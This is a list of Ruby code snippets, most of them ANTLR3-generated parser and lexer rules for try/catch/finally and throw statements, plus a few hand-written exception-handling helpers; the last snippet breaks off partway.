[ "def try_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 8 )\n return_value = TryStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal27 = nil\n catch_clause26 = nil\n catch_clause28 = nil\n statement_block29 = nil\n statement_block30 = nil\n\n tree_for_string_literal27 = nil\n\n begin\n # at line 57:3: ( catch_clause | ^( 'finally' ( catch_clause | statement_block ) statement_block ) )\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == CATCH )\n alt_7 = 1\n elsif ( look_7_0 == FINALLY )\n alt_7 = 2\n else\n raise NoViableAlternative( \"\", 7, 0 )\n end\n case alt_7\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 57:5: catch_clause\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_catch_clause_IN_try_statement_245 )\n catch_clause26 = catch_clause\n @state.following.pop\n\n @adaptor.add_child( root_0, catch_clause26.tree )\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 58:5: ^( 'finally' ( catch_clause | statement_block ) statement_block )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal27 = match( FINALLY, TOKENS_FOLLOWING_FINALLY_IN_try_statement_253 )\n\n tree_for_string_literal27 = @adaptor.copy_node( string_literal27 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal27, root_1 )\n\n\n\n match( DOWN, nil )\n # at line 58:18: ( catch_clause | statement_block )\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0 == CATCH )\n alt_6 = 1\n elsif ( look_6_0 == BLOCK )\n alt_6 = 2\n else\n raise NoViableAlternative( \"\", 6, 0 )\n end\n case alt_6\n when 1\n # at line 58:20: catch_clause\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_catch_clause_IN_try_statement_257 )\n catch_clause28 = catch_clause\n @state.following.pop\n\n @adaptor.add_child( root_1, catch_clause28.tree )\n\n\n when 2\n # at line 58:35: statement_block\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_try_statement_261 )\n statement_block29 = statement_block\n @state.following.pop\n\n @adaptor.add_child( root_1, statement_block29.tree )\n\n\n end\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_try_statement_265 )\n statement_block30 = statement_block\n @state.following.pop\n\n @adaptor.add_child( root_1, statement_block30.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 8 )\n\n end\n \n return return_value\n end", "def try_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n return_value = TryStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal44 = nil\n f = nil\n f2 = nil\n statement_block45 = nil\n catch_clause46 = nil\n\n tree_for_string_literal44 = nil\n stream_TRY = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token TRY\" )\n stream_statement_block = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule statement_block\" )\n stream_catch_clause = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule catch_clause\" )\n stream_finally_clause = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule finally_clause\" )\n begin\n # at line 338:5: 'try' ( statement_block -> statement_block ) (f= finally_clause -> | ( catch_clause ->)+ (f2= finally_clause ->)? | -> ^( 'try' statement_block ) )\n string_literal44 = match( TRY, TOKENS_FOLLOWING_TRY_IN_try_statement_2203 )\n if @state.backtracking == 0\n stream_TRY.add( string_literal44 )\n end\n # at line 339:5: ( statement_block -> statement_block )\n # at line 339:7: statement_block\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_try_statement_2211 )\n statement_block45 = statement_block\n @state.following.pop\n if @state.backtracking == 0\n stream_statement_block.add( statement_block45.tree )\n end\n # AST Rewrite\n # elements: statement_block\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 339:23: -> statement_block\n @adaptor.add_child( root_0, stream_statement_block.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n # at line 340:5: (f= finally_clause -> | ( catch_clause ->)+ (f2= finally_clause ->)? | -> ^( 'try' statement_block ) )\n alt_10 = 3\n case look_10 = @input.peek( 1 )\n when FINALLY then alt_10 = 1\n when CATCH then alt_10 = 2\n when EOF, GENERAL, GET, ARROW, RBRACE, IF, REGEX, BL_END, INCR, BREAK, RETURN, IS_DEFINED, RPAREN, CASE, LBRACE, COMMA, LBRACK, SEMI, CONST, SET, CONTINUE, LET, DDOC, DECR, LPAREN, DEFAULT, DELETE, DGENERAL, MACRO, SWITCH, DIRECTIVE, MINUS, THIS, DO, THROW, TILDE, TRUE, TRY, TYPEOF, DSTRING, NEW, EACH, NOT, UNDEFINED, ELSE, NULL, UNLESS, UNTIL, FALSE, VAR, VOID, FOR, WHILE, WITH, FUNCTION, PLUS, YIELD, IS_UNDEFINED, POUND, DEF, CLASS_DEF, OBJECT_DEF, EJS, ID, STRING, NUMBER, IVAR, DOC, T__148, T__149, T__150 then alt_10 = 3\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 10, 0 )\n end\n case alt_10\n when 1\n # at line 340:7: f= finally_clause\n @state.following.push( TOKENS_FOLLOWING_finally_clause_IN_try_statement_2227 )\n f = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n stream_finally_clause.add( f.tree )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 340:27: ->\n @adaptor.add_child( root_0, ( prepend_tree( f.tree, return_value.tree ) ) )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 341:7: ( catch_clause ->)+ (f2= finally_clause ->)?\n # at file 341:7: ( catch_clause ->)+\n match_count_8 = 0\n while true\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0 == CATCH )\n alt_8 = 1\n\n end\n case alt_8\n when 1\n # at line 341:9: catch_clause\n @state.following.push( TOKENS_FOLLOWING_catch_clause_IN_try_statement_2244 )\n catch_clause46 = catch_clause\n @state.following.pop\n if @state.backtracking == 0\n stream_catch_clause.add( catch_clause46.tree )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 341:27: ->\n @adaptor.add_child( root_0, ( prepend_tree( catch_clause46.tree, return_value.tree ) ) )\n\n\n\n return_value.tree = root_0\n\n end\n else\n match_count_8 > 0 and break\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n eee = EarlyExit(8)\n\n\n raise eee\n end\n match_count_8 += 1\n end\n\n # at line 342:7: (f2= finally_clause ->)?\n alt_9 = 2\n look_9_0 = @input.peek( 1 )\n\n if ( look_9_0 == FINALLY )\n alt_9 = 1\n end\n case alt_9\n when 1\n # at line 342:9: f2= finally_clause\n @state.following.push( TOKENS_FOLLOWING_finally_clause_IN_try_statement_2268 )\n f2 = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n stream_finally_clause.add( f2.tree )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 342:27: ->\n @adaptor.add_child( root_0, ( prepend_tree( f2.tree, return_value.tree ) ) )\n\n\n\n return_value.tree = root_0\n\n end\n end\n\n when 3\n # at line 343:27: \n # AST Rewrite\n # elements: statement_block, TRY\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 343:27: -> ^( 'try' statement_block )\n # at line 343:30: ^( 'try' statement_block )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_TRY.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_statement_block.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end\n \n return return_value\n end", "def t__85!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 30)\n\n type = T__85\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 36:9: 'finally'\n match(\"finally\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 30)\n\n end", "def try!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 59 )\n\n type = TRY\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 180:7: 'try'\n match( \"try\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 59 )\n\n end", "def finally!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 76 )\n\n type = FINALLY\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 197:11: 'finally'\n match( \"finally\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 76 )\n\n end", "def try_statement(var_env)\n return nil unless eql_lit?(ECMA262::ID_TRY)\n #\n # The catch argument var_env must be executable lexical environment.\n # See compress_var\n #\n t = block(var_env)\n return nil unless t\n\n c = try_catch(var_env)\n f = try_finally(var_env)\n ECMA262::StTry.new(var_env, t, c, f)\n end", "def finally\n end", "def catch!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 25 )\n\n type = CATCH\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 146:9: 'catch'\n match( \"catch\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 25 )\n\n end", "def finally_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n return_value = FinallyClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal92 = nil\n __ACTION93__ = nil\n\n tree_for_string_literal92 = nil\n tree_for_ACTION93 = nil\n stream_T__85 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__85\" )\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ACTION\" )\n\n begin\n # at line 220:5: 'finally' ACTION\n string_literal92 = match( T__85, TOKENS_FOLLOWING_T__85_IN_finally_clause_1372 )\n if @state.backtracking == 0\n stream_T__85.add( string_literal92 )\n end\n __ACTION93__ = match( ACTION, TOKENS_FOLLOWING_ACTION_IN_finally_clause_1374 )\n if @state.backtracking == 0\n stream_ACTION.add( __ACTION93__ )\n end\n # AST Rewrite\n # elements: T__85, ACTION\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 220:22: -> ^( 'finally' ACTION )\n # at line 220:25: ^( 'finally' ACTION )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_T__85.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_ACTION.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end\n \n return return_value\n end", "def finally_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 20)\n return_value = FinallyClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal92 = nil\n __ACTION93__ = nil\n\n tree_for_string_literal92 = nil\n tree_for_ACTION93 = nil\n stream_T__85 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__85\")\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token ACTION\")\n\n begin\n # at line 229:5: 'finally' ACTION\n string_literal92 = match(T__85, TOKENS_FOLLOWING_T__85_IN_finally_clause_1377) \n if @state.backtracking == 0\n stream_T__85.add(string_literal92)\n end\n __ACTION93__ = match(ACTION, TOKENS_FOLLOWING_ACTION_IN_finally_clause_1379) \n if @state.backtracking == 0\n stream_ACTION.add(__ACTION93__)\n end\n # AST Rewrite\n # elements: ACTION, T__85\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 229:22: -> ^( 'finally' ACTION )\n # at line 229:25: ^( 'finally' ACTION )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_T__85.next_node, root_1)\n\n @adaptor.add_child(root_1, stream_ACTION.next_node)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 20)\n\n end\n \n return return_value\n end", "def finally_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 16 )\n return_value = FinallyClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal57 = nil\n statement_block58 = nil\n\n tree_for_string_literal57 = nil\n stream_FINALLY = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token FINALLY\" )\n stream_statement_block = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule statement_block\" )\n begin\n # at line 366:5: 'finally' statement_block\n string_literal57 = match( FINALLY, TOKENS_FOLLOWING_FINALLY_IN_finally_clause_2422 )\n if @state.backtracking == 0\n stream_FINALLY.add( string_literal57 )\n end\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_finally_clause_2424 )\n statement_block58 = statement_block\n @state.following.pop\n if @state.backtracking == 0\n stream_statement_block.add( statement_block58.tree )\n end\n # AST Rewrite\n # elements: statement_block, FINALLY\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 367:5: -> ^( 'finally' statement_block )\n # at line 367:8: ^( 'finally' statement_block )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_FINALLY.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_statement_block.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 16 )\n\n end\n \n return return_value\n end", "def try_catch(var_env)\n return nil unless eql_lit?(ECMA262::ID_CATCH)\n\n if eql_lit?(ECMA262::PUNC_LPARENTHESIS) and i=identifier(var_env) and eql_lit?(ECMA262::PUNC_RPARENTHESIS) and b=block(var_env)\n new_var_env = ECMA262::LexEnv.new(outer: var_env)\n ECMA262::StTryCatch.new(new_var_env, i, b)\n else\n raise ParseError.new(\"unexpected token\", self)\n end\n end", "def exception_group\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 18)\n return_value = ExceptionGroupReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n exception_handler86 = nil\n finally_clause87 = nil\n finally_clause88 = nil\n\n\n begin\n # at line 220:2: ( ( exception_handler )+ ( finally_clause )? | finally_clause )\n alt_38 = 2\n look_38_0 = @input.peek(1)\n\n if (look_38_0 == T__84) \n alt_38 = 1\n elsif (look_38_0 == T__85) \n alt_38 = 2\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 38, 0)\n raise nvae\n end\n case alt_38\n when 1\n root_0 = @adaptor.create_flat_list!\n\n\n # at line 220:4: ( exception_handler )+ ( finally_clause )?\n # at file 220:4: ( exception_handler )+\n match_count_36 = 0\n loop do\n alt_36 = 2\n look_36_0 = @input.peek(1)\n\n if (look_36_0 == T__84) \n alt_36 = 1\n\n end\n case alt_36\n when 1\n # at line 220:6: exception_handler\n @state.following.push(TOKENS_FOLLOWING_exception_handler_IN_exception_group_1322)\n exception_handler86 = exception_handler\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child(root_0, exception_handler86.tree)\n end\n\n else\n match_count_36 > 0 and break\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n\n eee = EarlyExit(36)\n\n\n raise eee\n end\n match_count_36 += 1\n end\n\n # at line 220:27: ( finally_clause )?\n alt_37 = 2\n look_37_0 = @input.peek(1)\n\n if (look_37_0 == T__85) \n alt_37 = 1\n end\n case alt_37\n when 1\n # at line 220:29: finally_clause\n @state.following.push(TOKENS_FOLLOWING_finally_clause_IN_exception_group_1329)\n finally_clause87 = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child(root_0, finally_clause87.tree)\n end\n\n end\n\n when 2\n root_0 = @adaptor.create_flat_list!\n\n\n # at line 221:4: finally_clause\n @state.following.push(TOKENS_FOLLOWING_finally_clause_IN_exception_group_1337)\n finally_clause88 = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child(root_0, finally_clause88.tree)\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 18)\n\n end\n \n return return_value\n end", "def exception_group\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 18 )\n return_value = ExceptionGroupReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n exception_handler86 = nil\n finally_clause87 = nil\n finally_clause88 = nil\n\n\n begin\n # at line 211:2: ( ( exception_handler )+ ( finally_clause )? | finally_clause )\n alt_38 = 2\n look_38_0 = @input.peek( 1 )\n\n if ( look_38_0 == T__84 )\n alt_38 = 1\n elsif ( look_38_0 == T__85 )\n alt_38 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 38, 0 )\n end\n case alt_38\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 211:4: ( exception_handler )+ ( finally_clause )?\n # at file 211:4: ( exception_handler )+\n match_count_36 = 0\n while true\n alt_36 = 2\n look_36_0 = @input.peek( 1 )\n\n if ( look_36_0 == T__84 )\n alt_36 = 1\n\n end\n case alt_36\n when 1\n # at line 211:6: exception_handler\n @state.following.push( TOKENS_FOLLOWING_exception_handler_IN_exception_group_1317 )\n exception_handler86 = exception_handler\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, exception_handler86.tree )\n end\n\n else\n match_count_36 > 0 and break\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n eee = EarlyExit(36)\n\n\n raise eee\n end\n match_count_36 += 1\n end\n\n # at line 211:27: ( finally_clause )?\n alt_37 = 2\n look_37_0 = @input.peek( 1 )\n\n if ( look_37_0 == T__85 )\n alt_37 = 1\n end\n case alt_37\n when 1\n # at line 211:29: finally_clause\n @state.following.push( TOKENS_FOLLOWING_finally_clause_IN_exception_group_1324 )\n finally_clause87 = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, finally_clause87.tree )\n end\n\n end\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 212:4: finally_clause\n @state.following.push( TOKENS_FOLLOWING_finally_clause_IN_exception_group_1332 )\n finally_clause88 = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, finally_clause88.tree )\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 18 )\n\n end\n \n return return_value\n end", "def t__84!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 29)\n\n type = T__84\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 35:9: 'catch'\n match(\"catch\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 29)\n\n end", "def throw_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 26 )\n return_value = ThrowStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal101 = nil\n expression102 = nil\n\n tree_for_string_literal101 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 138:5: ^( 'throw' ( expression )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal101 = match( THROW, TOKENS_FOLLOWING_THROW_IN_throw_statement_767 )\n\n tree_for_string_literal101 = @adaptor.copy_node( string_literal101 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal101, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 138:16: ( expression )?\n alt_29 = 2\n look_29_0 = @input.peek( 1 )\n\n if ( look_29_0.between?( AMP, AMP_ASGN ) || look_29_0 == POST_DECR || look_29_0.between?( GEQ, AREF ) || look_29_0.between?( GREATER, HAT ) || look_29_0.between?( ARROW, HAT_ASGN ) || look_29_0 == ASGN || look_29_0 == REGEX || look_29_0 == IN || look_29_0 == INCR || look_29_0.between?( INSTANCEOF, RSHIFT3 ) || look_29_0 == RSHIFT3_ASGN || look_29_0 == RSHIFT_ASGN || look_29_0 == LEQ || look_29_0.between?( LESS, SLASH ) || look_29_0 == SLASH_ASGN || look_29_0.between?( STAR, DECR ) || look_29_0 == STAR_ASGN || look_29_0 == LSHIFT || look_29_0.between?( DELETE, THIS ) || look_29_0.between?( MINUS, TILDE ) || look_29_0.between?( MINUS_ASGN, MOD ) || look_29_0.between?( MOD_ASGN, TYPEOF ) || look_29_0.between?( NEQ, UMINUS ) || look_29_0.between?( NEQQ, UNDEFINED ) || look_29_0 == NEW || look_29_0 == NOT || look_29_0.between?( NULL, UPLUS ) || look_29_0 == OBJECT || look_29_0.between?( EQ, OR_ASGN ) || look_29_0 == FALSE || look_29_0 == PIPE || look_29_0 == PIPE_ASGN || look_29_0 == PLUS || look_29_0.between?( ID, DOC ) )\n alt_29 = 1\n end\n case alt_29\n when 1\n # at line 138:16: expression\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_throw_statement_769 )\n expression102 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression102.tree )\n\n\n end\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 26 )\n\n end\n \n return return_value\n end", "def t__79!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 24)\n\n type = T__79\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 30:9: 'throws'\n match(\"throws\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 24)\n\n end", "def wrapped_code\n <<-TRYCATCH\n try {\n #{original_code}\n } catch(e) {\n console.error(\"Rails SJR error\", e);\n }\n TRYCATCH\n end", "def try &bk\n yield\n rescue Exception => ex\n ex\n end", "def catch_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 14 )\n return_value = CatchClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal47 = nil\n char_literal48 = nil\n char_literal50 = nil\n catch_selector49 = nil\n statement_block51 = nil\n\n tree_for_string_literal47 = nil\n tree_for_char_literal48 = nil\n tree_for_char_literal50 = nil\n stream_RPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RPAREN\" )\n stream_CATCH = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token CATCH\" )\n stream_LPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LPAREN\" )\n stream_statement_block = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule statement_block\" )\n stream_catch_selector = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule catch_selector\" )\n begin\n # at line 348:5: 'catch' '(' catch_selector ')' statement_block\n string_literal47 = match( CATCH, TOKENS_FOLLOWING_CATCH_IN_catch_clause_2330 )\n if @state.backtracking == 0\n stream_CATCH.add( string_literal47 )\n end\n char_literal48 = match( LPAREN, TOKENS_FOLLOWING_LPAREN_IN_catch_clause_2333 )\n if @state.backtracking == 0\n stream_LPAREN.add( char_literal48 )\n end\n @state.following.push( TOKENS_FOLLOWING_catch_selector_IN_catch_clause_2336 )\n catch_selector49 = catch_selector\n @state.following.pop\n if @state.backtracking == 0\n stream_catch_selector.add( catch_selector49.tree )\n end\n char_literal50 = match( RPAREN, TOKENS_FOLLOWING_RPAREN_IN_catch_clause_2339 )\n if @state.backtracking == 0\n stream_RPAREN.add( char_literal50 )\n end\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_catch_clause_2342 )\n statement_block51 = statement_block\n @state.following.pop\n if @state.backtracking == 0\n stream_statement_block.add( statement_block51.tree )\n end\n # AST Rewrite\n # elements: statement_block, CATCH, catch_selector\n # token labels: \n # 